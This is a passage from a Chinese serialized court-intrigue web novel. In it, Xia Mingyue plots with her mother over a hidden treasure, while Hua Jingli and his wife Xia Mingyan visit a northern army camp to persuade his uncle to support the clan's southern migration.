夏明月点头:“是啊,现在就是侯府里的事都要我们夏家关照,有这么大一笔宝藏,也不能假他人之手,尤其不能让朝廷知道了,最后再落到华家手上。” 华家军要往南边迁移,要是让他们知道了,夏明嫣和华靖离一定会打这笔宝藏的主意。 从李玦被气病了之前那段时间开始,楚氏和夏庸就开始一点一点地透露让她嫁给李玦其实也是另有安排,她也猜到了这端侯府定然隐藏着什么大的秘密或是好处,现在终于摊开了说了,她瞬间感觉到如释重负。 第478章拿住把柄,找到坐标 这么大一笔财富,往好处想,将来就算李玦好不了了,只要他们找的靠山可靠,都可以保证他们夫妻拥有傲人的地位。哪怕只是个荣养的闲职呢,地位也低不了,谁都得尊着他们、敬着他们。 往坏处想,因为自己的夫君不得用,最后在朝堂上他们捞不到什么,这笔财富剩余的部分也足够他们成为南疆第一富绅,再有王侯的爵位相互,后半辈子也定能过得逍遥快活。 到时候她有楚家依靠,要是实在看李玦不顺眼了,就可以让他在久病不愈之后消失了,她守着那么大一笔财富,招个男人上门,还怕没有好日子过? 至于夏明嫣和华靖离,她和李玦在朝堂上不争,已然让了大的利益出去了,那么管接受这份大礼的人有份回礼应该也不为过吧?就把他们交给这回礼之人处理,不久好了。 夏明月自己都没意识到,此刻她已经没有了重生之初的豪情壮志,所求已经从一人之下万人之上的摄政王之妻变成了坐享荣华富贵的富绅巨贾之妻……她现在要做就是要抓紧楚家这个靠山: “母亲,还需要我做什么?就只要看住我夫君就可以了吗?可是我不知道他暗中的这些事是如何安排的,以前有婆母在的时候还好说,想来都是婆母在打理,我不知道也很正常。” “可是这段日子以来,也没见有什么人来找过他,乔嬷嬷也没发现什么异样,我想做什么也没有法子。” 这回还算是动了点脑子了,楚氏被气出来的那股憋闷感总算缓解了一些:“这人定是隐于暗中的心腹,不过现在你也不是没有机会。” “世子也不过是刚刚从何夫人手里接手了这些秘事,他对这些人还不够熟悉,他们之间也还没有足够的信任。你先去跟世子低头认个错,之后缓和了关系,想法子先把这个人抓在手里,若是不行,就想法子换了他。” “最近总听你说起那位孙公子,是孙太后家的后人对吧?你就跟世子说,有这位孙公子在,将来也好假托正统,尽量让这位孙公子取代了之前的人。这孙公子定然会承了你的恩情,他如今也需要支持,你正好把他握在手上。他这个人,还好说话吧?” 楚氏想的自然是让夏明月拿端侯府暗地里的班底和楚、夏两家的势力去跟孙允斌谈,孙允斌出身后族,不会不明白这当中的利害,应该不会拒绝跟他们联手。 过来之前她也打听过了,这个孙允斌之前在钩翊侯府待过一段时间,不过时间不长,想来在那边也没捞到什么好处,他失意在前,这时候正是拉拢他的好时候。 夏明月首先想到的却不是这层用意,她想的还是前世里她在家庙跟孙允斌有了私情的那段日子,那时候她使了些手段,就让孙允斌误以为跟她发生了关系,之后才有了那段情意。 起初她只是想拿孙允斌解个闷儿的,后来孙允斌还真帮了她许多忙,明明是那种关系,他居然还帮她回到了李玦身边……这人不仅对她有情意,这份情意还相当干净。 若是这辈子李玦好好的,能出将入相,还能跟她白头到老,她愿意从一而终做一个好夫人、好母亲,可事已至此,她继续守着李玦过日子,只怕连上辈子都不如了。 那还不如想法子跟孙允斌在一起,不和离,也先不公开他们的关系,先私底下在一起,等到将来事成了,他们也一起把端侯府掏空了,他们再光明正大的在一起。 上辈子孙允斌没沾上她多少好处,尚且成为了朝堂上的头一号人物,他直接取代了楚霆孝,还比李玦的地位要高上一头。她若能改嫁给孙允斌,比跟着李玦还要强。 而且孙允斌跟外头那些寒门书生还不一样,再是旁支也还是孙家的人,出身也算与她相配。虽然功名不高,但也是有功名的,而且男人么,能把外头的差事办好才最要紧,光会读书,不会办事才是大忌。古往今来,那前三甲的也不是各个都能在朝堂上有所作为的,孙允斌这样的人还更好些。 这孙允斌将来成事是一定的,严格来说比李玦这样算计颇多、家族还背负着污点的要强,比华靖离这样的出身粗莽军户还不知道审时度势、一味地刚正不阿的也要强……不算辱没了她。 夏明月越想心里越美,从前还跟李玦柔情蜜意,现在巴不得立刻能改嫁给一个跟她更相配的人。 楚氏不知道夏明月的这些小心思,察觉她神色有异,皱眉唤她:“月儿,你在想什么?难道是这孙允斌有什么问题?” “不,没有,孙公子他很好,他是个很有眼色的人,就是我夫君也很信任他,我去说服我夫君想来不难。” 夏明月说重生的时候楚氏没信,她就更不敢说出她上辈子跟孙允斌的那点私情了,包括她现在也对现在的孙允斌有好感,也是一样不敢提及丝毫的。 她心里想的却是,现在李玦没有心力管着她,端侯府里上上下下都是由她和她的人做主,更是不像上辈子有华家家庙的人看着她,她想跟孙允斌有些什么,可比上辈子要容易多了,她一定能更快地将他拿住了, “母亲,您就放心吧。孙公子初来元京,又在华家受挫,现在他定然正想投效一个实力强大的主家。我与他说清楚这当中的利害,还要交托这么大的一件事给他,他一定不会不答应。” “你这么有把握?他正是需要高门扶植的时候,如今咱们算是雪中送炭,倒也算是人之常情。不过你也别忘了捏住他的把柄,毕竟这是件大事。”楚氏提醒道。 夏明月点头:“母亲放心,他一个出来元京的毛头小子,没有把柄,我也能让他有把柄。” 楚氏压根没往别的事儿上想,只以为夏明月终于长了一回脑子,可能因为之前要抓侯府的庶务,早就想过要用孙允斌,因此已经抓了他的把柄在手上。 她转而交托了一件眼下更重要的事:“还有一件事你要立刻去办,端侯府在元京历经四代,里面定然有密室或是其他隐秘之处,你得去寻找一样东西。只有找到了这样东西,才能早日取出海底的宝藏。” 夏明月瞬间来了精神,她上辈子根本不知道还有这件东西,有再多的财宝,取不出来都没有用,可件这东西有多重要,她可不能让它落到别人手里了。 楚氏仔细交待了夏明月一番,再把乔嬷嬷叫过来嘱咐她配合,之后夏明月和乔嬷嬷便着手在府中寻找,自是不提。 第479章秘行北疆 夏明月忙着找那海藏的另一半坐标,华靖离和太子谢维这边也安排了人暗中寻找,而此时华靖离和夏明嫣却借着去别院休养的名义,一路轻车快马秘密前往北疆。 此去北疆,是为了安抚不愿南迁的华家军,也是为了给元京留出空档,好让彭州那边陆远山的人抓住这个空子派人进来核查画扇的身世。 彭州和北疆虽然都在大恒北边,但彭州比北疆更靠西也更靠北,中间还隔着一条江。 换言之,这彭州是建在一个荒岛上的,这个岛虽说有挨着这条江,但因为冬天太长和这江水的水质并不怎么样,彭州的土地并没有得到更多的灌溉,还多了一份颇为邪乎的江风。 彭州依旧不是一个适合耕种和生活的地方,而且因为跟祁笛的蛮部离得更近,从前但凡有法子走出去的百姓都内迁了,只留下一些老弱残缺之人,此地这才被大恒选为了流放之地。 陆家流放至此之后苦心经营二十年,这里除了彭州的未得赦免的历代流放之人和他们的后人,还纠集了马匪和许多做着违禁买卖的商贾,这当中也自然少不得朝廷中那些敢于铤而走险的家族中的暗中势力。 这里的人上下一气,朝廷又山高水远、鞭长莫及,这彭州的属官虽然年年回报一切正常,想来却已然换了天地了。 二人二马在前,后面跟着的一小队劲旅隔开了一段距离跟着,周围一马平川,也不用担心突然有哪一支人马会杀出来,再制造一场刺杀。 在一个三岔路口,华靖离高坐马上扬鞭一指:“往那个方向快马再行十日,便是彭州。” “那就是说,要是我们在这儿等上两三日,就能碰上陆家派来的人了。” 夏明嫣勒住马缰,在华靖离身侧停了下来,这还是她两世以来头一次看到北疆,这里果然开阔,一到了这儿,她整个人都感觉清爽起来了。 华靖离向她伸出手,让她和她的马儿都离他更近一些:“不用等他们,彭州之所以能做大,也是这些年陛下放纵出来的,为了套出海藏的下落,也为了能在他龙御归天之前终结这一切。” “只是可惜,上一世这件事的爆发最终还是延后了,陛下驾崩,太子殿下君臣不能一心,楚、李、陆三家顺势而起,南疆大乱,一发不可收拾。” “这辈子虽说我与太子殿下的关系有所改善,可终究不能把全部希望都寄托在这样一个改变上,还是让这场风浪早一点到吧,在陛下还康健的时候。” 在他们两个的记忆里,接下来的五年是大恒朝廷最上下一心的时候,也是最后一段相对平静的时光,在这时候解决问题,虽然有些试图毕其功于一役的狂妄,但相对来说却是最为稳妥和损失最小的。 “那就让他们去元京,现在闹起来反而好了。局是我们设下的,时机也由我们把握,被动的是他们。走,带我沿路看看,我还是第一次来北疆呢。” 夏明嫣驭马向前,留下一连串银铃似的笑声。 华靖离追了上去,刻意让马头跟在她的马身之后半个身位的地方跟着。她是第一次来北疆,他却是第一次陪她游北疆。 如今他已经卸下了北疆的职务,单纯是以钩翊侯的身份来做华家军南迁的善后差事,曾经那种时刻紧绷着的感觉去了大半,于他来说,心境上也大有改变。 如今北疆的防务已经开始交接,他不在是这片土地上神祗一样的存在,将来华家虽然还会有族人留在这里,但他们并不是以华家军余众的身份,而是真正的在此处生根,像其他人一样读书、科考、做买卖、种地…… 北疆要安定,南疆诸王之乱要平,楚、陆、端侯府和夏家的联盟要破,这都是接下来要做的事,而同时,他也会给华家谋一条出路,一条天下大定之后卸甲归安的出路。 一行人一路向北,又行了一日,终于到了北疆天北大营,此处尚未交接给如今的镇北军主帅,一应应办的手续大多还都拖延未办。 郭林打了头阵先行入营,很快便有一队人马出营将华靖离一行人迎了进去,见到华靖离行走间并不像留下了伤病的样子,整个大营处处都充满了欢呼声。 华靖离威望不减,然而这些人却要离开北疆,这些人中好些都是在北疆镇守和生活了两三代的,自然不愿意。 他们不敢也不会对华靖离有微词,这股子邪火便难免要冲着夏明嫣去了,不为别的,只因为她的父亲夏庸是兵部尚书,而朝廷之前早就传出风来要逐步将各地的军侯府府军收归朝廷。 朝廷早不让华家军南迁,偏偏华靖离一娶了夏家的女儿就让华家军放弃祖祖辈辈征战的土地,去那鸡不生蛋、鸟不拉屎的南疆了? 这南疆和江南、南方不是一个概念,江南富庶,南方也是个物产丰富、衣食无忧的地方,可这南疆到处都是瘴气和山谷,光是气候都让人受不了,还有那些难缠的诸王。 华家人在北疆再威名赫赫,等到了南疆也都是外来户,人生地不熟的,一切都得从头开始,这可如何是好? 天北大营的主将是华叶峰的堂弟华叶胜,此人如今也已年近半百,本来再过上五年也该退下来了,现如今却因为这突如其来改变而犯了犟劲儿。 偏偏此人在华靖离重伤生死未卜之时稳住了大局,还坚定地站在了华靖离这一边,如今若是处理不好,不仅良心上会过不去,也会寒了华家军和华家族人的心。 这里面甚至还会产生更多的连续反应,华家军里可不全是华姓之人,最初的家丁、护卫之后和后来吸纳的一众人等都是当中的一员。 若是华家之人在这场南迁中都得不到善待和妥善安置,他们这些不姓华的就更难被善待了。 这甚至已经不是是否被善待的问题了,他们几代人的功业都是用血用命拼出来的,到了南疆还要再拼一次,把几代人的命搭进去?还是说连再拼一次的机会都没有了? 朝廷忌惮华家,这份忌惮不会因为华家南迁让出了从前的势力范围就消失不见,朝廷不会再给他们在南疆建功立业的机会了,他们这些大老粗,将来还能干什么?他们的子孙将以何为生? 第480章天北大营 在一个地方待了几代人,这里不是故乡已胜似故乡,何况军户人家,又多数是有军功、封赏过宅邸和土地的,几代人的经营,如何能轻易舍弃? 大恒建立之初,这样的格局便已奠定,北疆如此,南疆也如此。 别看南疆被视为偏远荒蛮、瘴气丛林遍布之地,但那里一样有王侯之地,也有寨子和大大小小的统领。 虽说北疆的土地也不如江南富庶,甚至还有冻土,可那南疆的土地上遍布丘陵,连平整的地都不多,还有沼泽和诸多泥淖,还有那些耕种和施肥的方式都得重新摸索、掌握……这样的土地更难开垦,还有当地的民情也更难把握,甚至当地的百姓中说官话的都寥寥无几,他们之间连语言都不通。 离开北疆,有许多东西是带不走的,到了那儿不仅要从头开始,还要跟当地豪族争抢,而且他们这些人也早已与北疆百姓融为一体,习惯了这里的民风,又怎能去那等连语言都不通的地方? 北疆的这些人也见过从南疆来的客商,问过他们那边究竟是一个怎样的地方,听过之后没人愿意过去,还说那是个“鸟语花香”的地方。 这“鸟语花香”在这儿可不是什么好词儿,这“鸟语”就是说当地人说的话他们都听不懂,那儿的人说话听起来就像鸟叫似的。 至于花香,都是些野花、野草,好些都有毒,一到了春、夏,到处都飘着花粉,好些个外地人过去都是一身的疹子,还容易鼻子不舒服甚至得上哮喘。 这些人知道了这些情况,哪里还肯去。就别说天北大营了,现在已经答应并且完成了交接了的那些人,也是不清不愿的,人手、地盘和东西都交了,也还是磨磨蹭蹭地没动地方呢。 这天北大营现在成了一个风向标,那些磨蹭着没挪地方的还都等着看华叶胜如何应对呢,要是华叶胜最终能不南迁,他们也就跟着不去了。 他们留在北疆,就算没有爵位和官位,因为往日的功劳,旧日的封赏和这些年经营的庶务也都还在,供着子女读书、习武、经商。将来有这份家业和基础在,儿子去科考,无论是文举还是武举,再出头都不算太难。 女儿嫁人,当地的人都熟了,有许多都称得上世交,嫁人也更容易找到门当户对、两相交好的人家,将来的子孙也能继续读族学。 总之,就算他们都没了官爵,留在北疆当个富户,也比去那南疆强。 一进天北大营,华靖离就去见华叶胜了,这是他七叔,是几个叔叔里年纪偏小的,加上多年习武,看起来比实际年纪要小一些。 华靖离进入中军大帐的时候,华叶峰刚刚擦好了他的刀,之后将刀入鞘放在了身后的架子上。 “七叔。” 华靖离向长辈行了礼,见华叶胜看他的时候鼻子不是鼻子、眼睛不是眼睛的,不禁笑了一下,主动上前去, “您近来身子可还硬朗?这都入冬了,您就算不想年前就迁去南疆,如今撂下差事了,也可以回元京府里住一住。年纪大了,在这儿还是苦寒了些。” 行伍之人,哪有人年轻时没落下伤病的?北疆虽然已经成了他们的家了,可再是家也抵不住苦寒和风霜,何况像他这样的还长年住在大营里,并没有回府。 华叶胜看了华靖离一眼,假装不在意地哼了一声,眼皮都没抬一下地坐下了: “你小子,受了那么重的伤,没想到还能回来。你这新婚燕尔的,也不多在元京待一阵子,你那新妇和老丈人家里能愿意了?” “你这孩子从小不得消停,难得有这样的机会,也不多在元京松散些时日,这么快就回来了,是担心我们这些老骨头赖着不走?怎么,担心你那新妇和老丈人对你有微词?” “至于回元京过年,这么多年都没回去了,山长水远的,我一向懒得折腾。再说了,回去还有我住的地儿么?你还年轻,要是不想在北疆待了,你自己回去住去,说不准上面和你那岳丈一高兴,还能给你封个异姓王当当。” 这可真是处处话里有话啊,的亏了华叶胜这样一个纯粹的行伍之人能说出这么一番勾勾绕绕的东西,大概是自从接到华靖离要回来的消息,就开始盘算着要怎么说了。 不过这倒不是说华叶胜就真的要跟华靖离和元京的钩翊侯府闹翻了,了解内情的人听了就会发现这番话说得很是别扭、矛盾,有些阴阳怪气的,却也透着关心。 就好比华叶峰明着担心华靖离成了亲就以夏庸和楚霆孝一派马首是瞻了,其实何尝不是担心他受了拿捏,万事不得自主,是不得不跟着夏庸他们走的。 说难听点,他们这些老人一只脚已经迈进棺材里了,还能有几天好活的?说到底还是为了子女和后嗣。 当然了,他们各自都有自己的子女,跟华靖离到底隔着一层,可华靖离是这一代子孙中最出息的一个,他们都是当亲儿子栽培和护着的。 退一步来讲,这一族的人每一代都需要出那么几个能挑大梁的,这一代华靖离就是这根顶梁柱,他们的儿孙将来还少不得要华靖离和他之后钩翊侯府的子孙看顾,他们也不能让华靖离倒下。 这些不是口头上说一说的虚话,都是从前拿自己的性命相护证明出来的。还有军功,军中虽然看重将领的个人功劳,可也少不了论资排辈。 你想立功,先得把这件事安排给你和你的人做,你才有机会。华家的这些叔伯,尤其是华叶胜,在成就华靖离这件事上可从来没玩儿过虚的。 华靖离当然清楚自己这位七叔是个嘴硬心软的,哪里会跟他较真,相反的,不管他怎么说,他自己都笑着接了: “七叔说的是哪里话,钩翊侯府里一直给各位叔伯留了院子,元京城里和城外也都给几位长辈置了宅子。这些年您几位虽然都未回去,可是父亲、母亲那边一直都有派人修缮。您回去抬脚就能住,要是您不满意,您就住我的止戈园,我给您腾地方。” 华叶胜上上下下地打量着华靖离,又哼了一声,不大相信地问道: “把止戈园让出来?你那新妇能愿意?你们这般照顾我们这些老家伙,还有这些族人,把自家的东西往出掏,她能没意见?” 第481章说服 华靖离笑道:“她愿意,您是不知道,内子从小便被我那岳丈送回了老家卢阳长大,这辈子去过的地方唯有卢阳和元京。她说在其位承其重,住着止戈园就要担起宗妇的职责,那可就哪儿都去不了了。” “我这话不仅是对叔父说的,咱们北疆的任何一位叔伯和兄弟姐妹回去,钩翊侯府和华家的宅子里必定都有大家的屋子住。” 夏明嫣是在卢阳长大的,不是在尚书府,这说明她没有那么多元京贵女的架子,更意味着她跟夏庸、楚霆孝的关系并不亲近,他们不是一路人甚至关系并不好。 而且夏明嫣不排斥华家的亲族,愿意让他们将来依靠嫡支的势力,他们不必因为她去看楚、夏两家的眼色行事。 华叶胜神情一松,故作平淡语气道:“我猜你跟那等高门贵女就处不来,看你这气色,还听说是你这夫人把你治好的,看来你过得不错。” “你过得好便罢了,可是靖离啊,独木不成林,你们在元京还有个盼头,我们这些人要是去了南疆。那边条件恶劣,那些个王爷、军侯没有一个是省油的灯,我们就这么过去……不是我怕死,我是怕那些小的都被他们塞了牙缝。” 因为群山阻隔,这南疆对于外人来说就像是一片被迷瘴阻隔着的沼泽地,最怕的就是一踏进去就陷了进去,爬都爬不出来。 那地方气候特殊,就算没有诸王割据,他们去了那里也可能得上怪病,体力虚乏,这些个子弟再也上不了马背,又不擅长水战,上不了船…… 别看华家有这么多的族人,华家军还有这么多的将士,这支人马拉拔起来不容易,要论损兵折将说不准就是瞬间的事,要是经营不当,用不了五年,这支队伍就能被南疆的各种势力瓜分殆尽。 华靖离既然敢向当今圣上提出这样的建议,他自然考虑到这些问题,不过他没有一上来就说自己的打算,而是道: “我自然知道您和各位叔伯的苦心,这么多年了,您们和各位兄弟姐妹不回元京,不仅是因为这样有利于安定北疆战事,也是为了我父亲这一支的地位不被动摇,防止华家内部起了争端。” “这些我跟父亲、母亲心里都有数,若非您和大家极力体谅,我父亲这样一个从前只负责屯田和庶务的老儿子如何能坐稳侯府的位子,又怎能在袭爵后全身而退并于在世时将爵位传于我?” 朝廷早就有意削爵之意,当时华家嫡支就剩了华叶峰这么一个老儿子,还要让他先立了军功再袭爵,那么短的时间内,从未上过沙场的华叶峰如何能完成这个艰巨的任务,还不是靠了华家各支的帮衬? 华叶峰袭爵之后,若是让他继续留在北疆,用不了多少也得折在沙场之上。若不是这些叔伯及时地对朝廷表足了忠心,哪里又回允许当时尚不足二十岁的华靖离袭爵。 华叶峰当年袭爵本就存有争议,不能服众,要不是这些叔伯避嫌,多少年都不回元京,明确表示了不与华叶峰争这爵位和侯府,杜绝了别有用心之人的算计,华家绝不会有今日这般盛景。 华叶胜见他态度诚恳,心里什么都不明白,不免眼眶微红: “也没有什么,我们也是不耐烦跟元京的那帮人周旋。那些个人说句话都要转好几个弯,跟他们抬头不见低头见的,脑袋疼。” “靖离,你能体谅大家的苦心就好,老叔也知道你不容易。可是咱们这么些个人已经在北疆扎下根来了,咱们也没有那等大逆不道的心思,在北疆好好待着,老老实实地过日子,也不行吗?” “咱们这些个人都舍不得这个地方,要不你跟朝廷好好说说,咱们就地卸甲归田,绝不给朝廷添乱,可还好?” 华家离开故乡已久,北疆便是他们的故乡,这就好比落叶归根似的,不想离开故土也是人之常情。 华靖离颔首,表示理解,华叶胜动了情,他就着旁边的炉子亲手煮起了奶茶: “七叔,我知道,这北疆已是华家故土,可您可曾想过树欲静而风不止,正因为华家在北疆扎根了几代人,又都是以军侯府部曲的形式聚居,才会让朝廷不安心。” 他手掌向下压了压,示意华叶胜冷静一些,“我知道七叔会觉得寒心,可这也是为君者的常情,历朝历代都不能免俗,如今的圣上还能信重华家,若是南疆得以安定,又的确是一个功成身退的好时机,华家何乐而不为?” “你的意思是……东宫那位?”华叶峰明了,那就是说华靖离对谢维继位后的局势没有十足的把握。 将相和,还有这将相跟君王之间和不和都是需要缘分和时机的,不能强求,既然当今圣上还信重华家,那就最好在他还在世时定下大局,君臣一场,两边都能平和地各自了局是最好的。 华靖离默默点头:“如果华家能帮助朝廷平定南疆,以南疆如今的情况又需要华家留下保境安民,待平定诸王、了结了老端侯的旧案,华家能化兵为民,该谋职的谋职,该耕种的耕种。” “咱们主动配合朝廷,给其他军侯府做出典范来,圣上定然会感念华家之功,给南疆学子多一些机会,咱们的子孙后代也一样还有机会。” 从北疆尾大不掉的军侯,变为南疆的寻常富贵氏族,族中将领也并非全数不掌兵。掌兵的归兵部管辖,在地方为将,一样可以保境安民,也不会失了武将之家的体统,在南疆一样无人敢欺。 而华家的子侄也可以借助恩荫,得到更多的考取功名的资格,这样最多两代人,华家的子弟就可以从华家军的兵将,变为朝廷的官员和兵将,完成转换。 虽说这样的世家一样有遭君王忌惮的,可比在军侯府之下动不动就被冠上一个拥兵自重、尾大不掉的罪名,那可就要轻松太多了。 而且南疆虽然贫瘠,可只要经营得当,并非无利可图,想要建成北疆和中原那般程度,又需要几代人的努力。朝廷建此地短期内不会成了势,便不会忌惮,这中间华家便有了缓冲的时机。 几代之后,即便成了规模,一来,华家和华家军已经彻头彻尾地属于朝廷。 二来,南疆既然在此时是朝廷鞭长莫及的地方,这一点在将来也能庇护华家。华家人洒脱粗犷惯了,在那里也能少些拘束。 三来则是儿孙自有儿孙福,三代之后的事谁也不能保证,到时候别说华家了,大恒是何光景都不一定了,他们这代人可管不着那时的事了。 华叶胜感慨地颔首:“你这般说,倒是能给华家迎来转圜的余地,不过眼下的生计该如何?那地方听说比起当初的北疆还要荒蛮啊。” 第482章南迁二策 那时的北疆也不是什么好地方,苦寒之地,可是除了冷倒也没什么,大家只是初时有些水土不服,生病的也都是常见病,不像那南疆,病了都不知该用什么药治愈。 再有就是他们北疆的这些人经过几代经营有多成气候,南疆那些人只会比他们更成气候,因为那地方封闭,朝廷管不着,那些个人都要成土皇帝了。 他们华家人要是只有几户零星地迁移过去还好,可要是把大部分人马迁移过去,明显会影响到人家的利益,那些人也不是好相与的。 而且南方、北方,平原和丘陵、山谷,就连耕种的方式都不一样,其他的谋生之道就更不同了,就好比经营庶务、做生意,他们连人家的话都听不懂,怎么做这些?就怕想要补充仆从、护卫,在当地都很难找到可靠又可心的。 那地方跟中原隔着群山,路上还横着一堆寨子,就算从外面采买了粮食、药材、布匹都不好运进去。万一那些人把供给给掐住了,饿死他们几口子都说不准。 朝廷说是给安家银子、给军饷,事实上以大恒现在两境开攻的架势,根本拿不出那么多银子,到时候还是有很大一部分是要靠自己的。 华叶胜的担忧是合理的,华靖离安抚着劝道:“兵马未动,粮草先行,七叔,实不相瞒,这件事既然是我先提议的,就不会什么都安排都没有就让族人过去。” “这是……你先提出的?” 华叶胜愣住了,他原以为是圣上或是楚霆孝那权相的主意,没想到竟然是华靖离自己提议的。 说什么将相和、君臣一心,这是往好听了说的,其实还是不得不这样做吧?不这样做的话,恐怕谢维继位登基之日,便是华家举族覆灭之始。 南迁,定是不得不为了! “既然是不得不为,那就说说你的打算。我看这兵部和户部未必愿意拿出银子安置咱们,到了地方,要田、要地,当地的势力恐怕也不会愿意把他们的利益让出来。” “咱们在北疆遭人忌惮,就算最终难免落入死局,去了南疆,他们是没有罪名直接要咱们的命了,可那地方搓摩人的法子可不少,万一断了咱们的供给和花用,再使手段挑起咱们跟当地豪族、百姓的矛盾,这可不是好应付的。” 在那地方,困死、饿死了他们,只用说是一场天灾或是一场瘟疫导致的,或是栽赃到他们身上,说他们引起了民怨,跟当地的百姓、山匪发生了冲突,连别的理由都不需要找了。 华靖离颔首:“七叔的担心我都清楚,所以我向圣上提了两个要求,一是,这场迁徙要缓,可以先派一部分年轻力壮、通达事务、有手艺并且懂得灵活变通的人去打前站。其他人包括各位叔伯,已多年未曾返乡,既然要南迁,山高路远,想必日后回乡祭祖省亲会更加艰难,不妨趁此机会先回乡住上几年。” “至于这些打前站的人如何安排,您放心,到了地方,不会让他们孤立无援,事实上我跟明嫣……就是内子已经在安排这些事了。” “这二来,便是生计,土地要分,但咱们不仅分给华家人,也不按宗族分,全都分到各房各户手里。庶务、生意,咱们不自己做,要允许咱们的子弟从事官办海贸,并且保留官身或良户,不入商贾之列。” 华家人在北疆多年,虽然每五年都会派人回去祭祖,回去的到底是少数,像华叶胜这样的已经有十几年没回去过了。 虽说华家男丁但凡不是身子顾不大好的或是守业的老儿子,其余的皆效力军中,可也有长辈、妻房、女儿和其他亲眷一直留在老家,这里面还有好些是之前负过重伤甚至落下残疾的,都需要去探望。 另外就是老家族产和各家的产业往日都是交给妻房和管家打理的,现如今要南迁,一方面是走得远了,离得更远了,更加不好打理。 与其中间有什么天灾人祸的,他们来不及处置,不仅容易被有心人贪了里面的出息去,还容易被有心人钻了空子。就比方说这心腹和科考的下人多数都带去南边了,留下的那些人缺乏管束,再做了恶去,最后还被人拿住了借口栽赃到他们身上去。 况且既然能在南边给他们重新分封土地和田产,别管那地是好是赖,既然南疆有那么多地都是未经开垦的,封给他们的就不会少了。 有这么多田产和宅邸在手,就算当中的产出比不上他们原有的,可只要地方够大、占地够广,在别人眼里就是他们拥有的土地太多了,难免又要成为别人的眼中钉。 这种情况下,这老家的庶产和田产都需要梳理、处置一番,除了族田和一些必须保留的,其余的需要退还给朝廷的就退了,能变卖的也转手卖了或是分给华家将来留在当地的老佃户都好。 这样做能换些钱财回头到南疆重新置产,也能落个好人缘,将来他们走得远了,老家这边也有人能帮忙看顾一下他们的宗祠和坟地,对朝廷也有了交待。 他们回去休养几年也好,可以跟亲眷团聚,也正好把这些事打理通顺了。那些个年龄小些的还能借此机会夫妻团聚,说不定还能再添几个子女,也正好把当中老弱不堪长途跋涉的留在老家颐养天年。 而这分下来的土地不按族计,原本朝廷按爵分封,一大家子的土地和财产都封到嫡支名下,要到下一代才会再按子嗣分封,在完成这一步之前,各个嫡支都容易坐大,就像现在的南疆诸王和军侯一样。 可要是直接分封到各房各户,就等于直接跳过了中间的步骤,直接走到了分封这一步,直接就把土地和封赏分小了。 如此这般,朝廷和豪族也都对他们少了几分忌惮,而这些得了封赏的,虽说没有原先那么多,但胜在公平,供养自家衣食和子侄读书、婚嫁,至少两代以内也都够了。 这主意着实不错,华叶胜连连点头,对华靖离话中的这位新婚妻子也来了兴趣: “你说南疆那边已经开始安排了,我这侄媳妇也参与了。来,说说,你们都是怎么安排的?” 第483章烹小鲜 从逢山开路遇水搭桥做起,逐步安抚、收拢沿路寨子的统领和寨民,教他们如何炮制当地出产的药材和物产,为他们换粮食、做生意牵线搭桥,还如何教这些寨民和他们的子女识字、算账、学手艺。 说完这些,华靖离笑着卖了个关子:“她也跟着我来了,说是要先在大营里转转,这会儿也不知道转到哪儿去了。” “哦?那就去看看,底下那些小子说话做事没轻没重的,别给冲撞了,走!”华叶胜兴致勃勃地叫上华靖离去了。 此刻的夏明嫣正在天北大营的伙房里忙活呢,她这次是带着秋果来的,她们两个招呼着随行而来的几个护卫和这伙房里的伙夫一起忙碌起来。 这大营的伙房颇为宽敞,夏明嫣一袭淡粉色冬衣,上面以银红绣线绣着片片丁香,她在这伙房里边侍弄食材边来回行走查看着,像一只翩飞的彩蝶,甚是养眼。 夏明嫣是元京新晋的美人儿,在这苦寒之地,又是除了个别年长仆妇和将领夫人见不到女子的大营里,尤为显眼。 要是别人家的女眷过来,对着这些兵将纵使有嘘寒问暖的举动,总体上也是避讳着的。 可夏明嫣没有,她就那样大大方方地出现在了众人面前,跟他们讲着这些南疆菜要怎么做、怎么吃,又讲了元京和那些寨子里的趣事。 这些个兵将好多本就是华家的子侄,围着夏明嫣这个新嫂子有数不清的话要说,一时间伙房里里外外都挤着要来帮忙的人。 秋果刚给一只鸡拔完毛,看着这儿伙房外面越聚越多的人,担心地压低了声音道: “夫人,这人也太多了,会不会不太好?人多嘴杂的,万一有人说闲话怎么办?” 夏明嫣正在把盐焗粉料抹到秋果刚刚收拾好的那只鸡上,她吩咐了身后的人像她这样做,低声对秋果道: “有人来看、来听是好事,总比没人来强,咱们是来劝他们去南疆的,现在就得让他们尝尝南疆的吃食,知道那边的条件没有那么遭,对前程来说更是大有可为的。” “要是我跟侯爷都排斥那边,他们又怎么会愿意尝试呢?至于名节,不过是说几句话,让人看两眼,没那么多讲究。爱嚼舌根子的就让他们嚼去,你看婆母在府里待着,不一样有人说她的闲话?” 董氏小时候跟着他父母给县衙屯田,出嫁后跟着华叶峰屯田,说到逾矩,不过是跟着农人一起耕种过,泥水、雨水沾湿过鞋袜罢了。 自从华叶峰袭了爵,董氏便住进了钩翊侯府,自此再没有下田耕种过,可她依旧被说了半辈子的闲话。 嘴长在别人脸上,要是有心非议你什么,你就是住进寺院里苦修,也得有人说你满嘴的经文道德,满心的无耻勾当。 夏明嫣这样大大方方的,反而没人说她什么了,没一会儿就有华家的几位年轻统领过来搭话。 “夫人,这都是南边儿的菜?看上去好清淡啊,这吃进嘴里,会不会淡得长草?” “清淡有清淡的好,那地方热得很,省得吃多了上火。再说了,你看那边,又是辣子又是醋和果子的,肯定有酸辣的东西,有你吃的!” 这些人也是有意活络气氛,主动攀谈起来。不管这些吃食看起来是否合他们的口味,闻起来都很香,尤其是军中的吃食本来就比较粗糙,这些手艺精细的吃食对他们都很有吸引力。 夏明嫣等他们说完,才笑着跟他们解释:“刚才那位小兄弟说的是,那边的人喜食清淡的食物,不过也有酸辣的东西,还有各种的泡菜、小菜,遇上口重的也不是没的吃。” “那边的炉子里还烤着烧鸡、烧鸭,都按照咱们北方的口味加重了佐料。这一个地方的吃食有一个地方的讲究,但是咱们都是大活人,还能没个变通的法子了?” “你们想想,华家人的老家在中原,也是在大恒建立之后才来的北疆。这北疆的吃食不仅重油重辣,还有北疆和从祁笛来的各种香料,都下得重。你们有没有问过你们的长辈,当年他们可吃得惯?” 这个问题大家还真没有问过,在这儿的几代都是行伍之人,从来这儿那天起就经常是喝风灌雪的,吃食上有什么吃什么,想改善一下伙食,就是多吃肉,不是炖的就是烤的,使劲儿吃,别的还真没多留心过。 只有一个人说了:“我倒是听说一些,我祖父家里喜欢吃笋,可这北疆少有鲜笋,只能买到笋干,于是他就把鲜笋炖肉,变成了笋干炖肉!一开始也做得不好,后来还是摸索出来了。” 